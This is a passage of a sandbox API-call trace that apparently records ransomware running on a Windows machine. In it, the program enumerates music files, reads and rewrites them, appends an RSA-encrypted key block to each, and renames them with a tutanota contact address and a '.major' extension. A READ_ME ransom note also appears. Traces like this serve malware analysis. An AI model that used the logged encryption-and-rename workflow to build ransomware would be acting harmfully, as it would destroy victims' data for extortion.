nFileSizeLow=0x19f3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="J-8z3jf.mp3", cAlternateFileName="")) returned 1 [0156.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0156.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0156.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0156.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0156.139] GetLastError () returned 0x0 [0156.139] SetLastError (dwErrCode=0x0) [0156.139] GetLastError () returned 0x0 [0156.139] SetLastError (dwErrCode=0x0) [0156.139] GetLastError () returned 0x0 [0156.139] SetLastError (dwErrCode=0x0) [0156.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0156.140] FindNextFileW (in: hFindFile=0x631200, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cb8c10, ftCreationTime.dwHighDateTime=0x1d4d4e4, ftLastAccessTime.dwLowDateTime=0x76322980, ftLastAccessTime.dwHighDateTime=0x1d4cd00, ftLastWriteTime.dwLowDateTime=0x76322980, ftLastWriteTime.dwHighDateTime=0x1d4cd00, nFileSizeHigh=0x0, nFileSizeLow=0x15171, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="lC_qRngzcQLt2ZA3.m4a", cAlternateFileName="LC_QRN~1.M4A")) returned 1 [0156.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0156.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0156.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0156.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0156.140] GetLastError () returned 0x0 [0156.140] SetLastError (dwErrCode=0x0) [0156.140] GetLastError () returned 0x0 [0156.140] SetLastError (dwErrCode=0x0) [0156.140] GetLastError () returned 0x0 [0156.140] SetLastError (dwErrCode=0x0) [0156.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.140] FindNextFileW (in: hFindFile=0x631200, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c97120, ftCreationTime.dwHighDateTime=0x1d4d17b, ftLastAccessTime.dwLowDateTime=0x6d598b70, ftLastAccessTime.dwHighDateTime=0x1d4d154, ftLastWriteTime.dwLowDateTime=0x6d598b70, ftLastWriteTime.dwHighDateTime=0x1d4d154, nFileSizeHigh=0x0, nFileSizeLow=0x12e7f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="PuHtX-8LsdCPd_.wav", cAlternateFileName="PUHTX-~1.WAV")) returned 1 [0156.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0156.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0156.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0156.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0156.140] GetLastError () returned 0x0 [0156.140] SetLastError (dwErrCode=0x0) [0156.140] GetLastError () returned 0x0 [0156.140] SetLastError (dwErrCode=0x0) [0156.140] GetLastError () returned 0x0 [0156.140] SetLastError (dwErrCode=0x0) [0156.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0156.140] FindNextFileW (in: hFindFile=0x631200, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a50ae0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17a50ae0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17a50ae0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0156.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0156.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0156.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0156.140] GetLastError () returned 0x0 [0156.141] SetLastError (dwErrCode=0x0) [0156.141] GetLastError () returned 0x0 [0156.141] SetLastError (dwErrCode=0x0) [0156.141] GetLastError () returned 0x0 [0156.141] SetLastError (dwErrCode=0x0) [0156.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.141] FindNextFileW (in: hFindFile=0x631200, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0e4610, ftCreationTime.dwHighDateTime=0x1d4cee6, ftLastAccessTime.dwLowDateTime=0x3afc13e0, ftLastAccessTime.dwHighDateTime=0x1d4c912, ftLastWriteTime.dwLowDateTime=0x3afc13e0, ftLastWriteTime.dwHighDateTime=0x1d4c912, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SgS5GD8k6O-9.m4a", cAlternateFileName="SGS5GD~1.M4A")) returned 1 [0156.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0156.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0156.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0156.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0156.141] GetLastError () returned 0x0 [0156.141] SetLastError (dwErrCode=0x0) [0156.141] GetLastError () returned 0x0 [0156.141] SetLastError (dwErrCode=0x0) [0156.141] GetLastError () returned 0x0 [0156.141] SetLastError (dwErrCode=0x0) [0156.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0156.141] FindNextFileW (in: hFindFile=0x631200, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0e4610, ftCreationTime.dwHighDateTime=0x1d4cee6, ftLastAccessTime.dwLowDateTime=0x3afc13e0, ftLastAccessTime.dwHighDateTime=0x1d4c912, ftLastWriteTime.dwLowDateTime=0x3afc13e0, ftLastWriteTime.dwHighDateTime=0x1d4c912, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SgS5GD8k6O-9.m4a", cAlternateFileName="SGS5GD~1.M4A")) returned 0 [0156.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0156.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.141] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.141] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\SgS5GD8k6O-9.m4a", dwFileAttributes=0x80) returned 1 [0156.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0156.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0156.142] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0156.142] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\SgS5GD8k6O-9.m4a" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\sgs5gd8k6o-9.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc [0156.142] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17964) returned 1 [0156.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x462c) returned 0x6538b0 [0156.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x462c) returned 0x657ee8 [0156.142] ReadFile (in: hFile=0x6cc, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x462c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x462c, lpOverlapped=0x0) returned 1 [0156.143] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=-17964, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.143] WriteFile (in: hFile=0x6cc, lpBuffer=0x657ee8*, nNumberOfBytesToWrite=0x462c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x657ee8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x462c, lpOverlapped=0x0) returned 1 [0156.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.143] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657ee8 | out: hHeap=0x570000) returned 1 [0156.143] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x462c [0156.143] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.144] WriteFile (in: hFile=0x6cc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.144] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.144] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.144] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.144] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.144] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="x63iOPkXmnT5+XAERbUI947d0ASPGUsQ2uQj3vhWF8esIxaIiIWo6xCCKgDB/VR5\nXvNPHNUFzr9xgHTR2zbj7IQJzGKbXBw9+8pveWWO1ETETSpHgk8QIgkNLtCChln4\nyZApugsBFvzH1POlTUjSBoVbbmT9aCJq1sSPAZtTMAmeRouR0WKl8mZu2zuLfbDd\nU0s25mywsCHIkozjHpJv783Mv6bCtitomtu7JBu0hRnylEayN23Ky2HNxKxC5Hio\n+qEBIUk3RV0D3jVFmb9JyA0eZEetIEJt5+Gt1utIaRzzjXMnIBHqIfJXvinTZW9J\ni1nTPpKWLDTOH/jD4xn+qA==\n", pcchString=0x2e3f9a8) returned 1 [0156.144] WriteFile (in: hFile=0x6cc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.144] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.144] WriteFile (in: hFile=0x6cc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.144] CloseHandle (hObject=0x6cc) returned 1 [0156.144] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.145] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\SgS5GD8k6O-9.m4a" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\sgs5gd8k6o-9.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\SgS5GD8k6O-9.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\sgs5gd8k6o-9.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0156.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0156.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0156.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0156.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.147] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.147] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\PuHtX-8LsdCPd_.wav", dwFileAttributes=0x80) returned 1 [0156.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.147] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0156.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.147] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\PuHtX-8LsdCPd_.wav" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\puhtx-8lsdcpd_.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc [0156.148] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=77439) returned 1 [0156.148] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12e7f) returned 0x6538b0 [0156.148] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12e7f) returned 0x2e60f28 [0156.148] ReadFile (in: hFile=0x6cc, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x12e7f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x12e7f, lpOverlapped=0x0) returned 1 [0156.150] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=-77439, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.150] WriteFile (in: hFile=0x6cc, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x12e7f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12e7f, lpOverlapped=0x0) returned 1 [0156.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.151] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12e7f [0156.151] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.151] WriteFile (in: hFile=0x6cc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.151] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.151] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.151] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.151] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Lh4VQ4i4wx6dFYPKjWwxihsq91qY8O+AJGG8sHIWQplab4czaj8V7EMCzEzE4DNp\npSdmIp7QirJFyFYy/ncmq2ZHIe9mYBOQ4aXWGw+fxlcjMFKBqF3uRM8iSfE53w6A\nkAJJ4haB88XPQab69wGTXV8QKZe5T2KExEFM8ummCfvxiz0JEuRDjfVjR5JuDetC\nt7YTrq2IjFj+55IEUOBQjpf8zemsYiY6kAzy47nQpBekccq+sdQkWU41haD09iTn\nJtOc7M2q7AYTAnuF4P+48SI1xhll4UZp1gZcfyZ/F4JqP4ezyphKueFiJV6Dr45Z\nSh8lNC/MJCabjkLAh+x4iQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.151] WriteFile (in: hFile=0x6cc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.151] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.151] WriteFile (in: hFile=0x6cc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.152] CloseHandle (hObject=0x6cc) returned 1 [0156.152] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.152] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\PuHtX-8LsdCPd_.wav" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\puhtx-8lsdcpd_.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\PuHtX-8LsdCPd_.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\puhtx-8lsdcpd_.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0156.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0156.153] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0156.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0156.153] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.153] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.153] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\lC_qRngzcQLt2ZA3.m4a", dwFileAttributes=0x80) returned 1 [0156.154] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0156.154] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b07d0 [0156.154] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0156.154] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\lC_qRngzcQLt2ZA3.m4a" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\lc_qrngzcqlt2za3.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc [0156.154] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=86385) returned 1 [0156.154] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15171) returned 0x6538b0 [0156.154] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15171) returned 0x2e60f28 [0156.154] ReadFile (in: hFile=0x6cc, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x15171, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x15171, lpOverlapped=0x0) returned 1 [0156.155] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=-86385, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.155] WriteFile (in: hFile=0x6cc, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x15171, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15171, lpOverlapped=0x0) returned 1 [0156.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.156] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15171 [0156.156] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.156] WriteFile (in: hFile=0x6cc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.156] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.156] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.157] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.157] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="IWpSinuMg9eBDGPtzldpbuR70fWgrqhhk9DxSFxPPtRgNjp+tkT50WYRSeieStIK\nOs/0K7yGpuOF1tVMCIrTezKqYTCELb4ll5ISvQA1alNuA7YhF7up0rf5SzyW2WT1\ng5CQ2kVUgsqzpYYF5s6OjCcCQ8Ihgi2tO1FxEukFj0UVpbapAW9yDZiLq+6WeOhh\n96N4fo/XU3RcTgxF88Lkw7DOZv1HDs585TuTzNds06I/l5DLWSqhrLXXTUG9dmJX\n86tbCVSEaqKousu/+sYWWH6AgsaSvMXnIuCmwUC4Txb1UR/Of3w3qVm3fF4DH1dV\n66UxJttjlgLeIN+YgSjdYg==\n", pcchString=0x2e3f9a8) returned 1 [0156.157] WriteFile (in: hFile=0x6cc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.157] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.157] WriteFile (in: hFile=0x6cc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.157] CloseHandle (hObject=0x6cc) returned 1 [0156.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.157] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\lC_qRngzcQLt2ZA3.m4a" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\lc_qrngzcqlt2za3.m4a"), 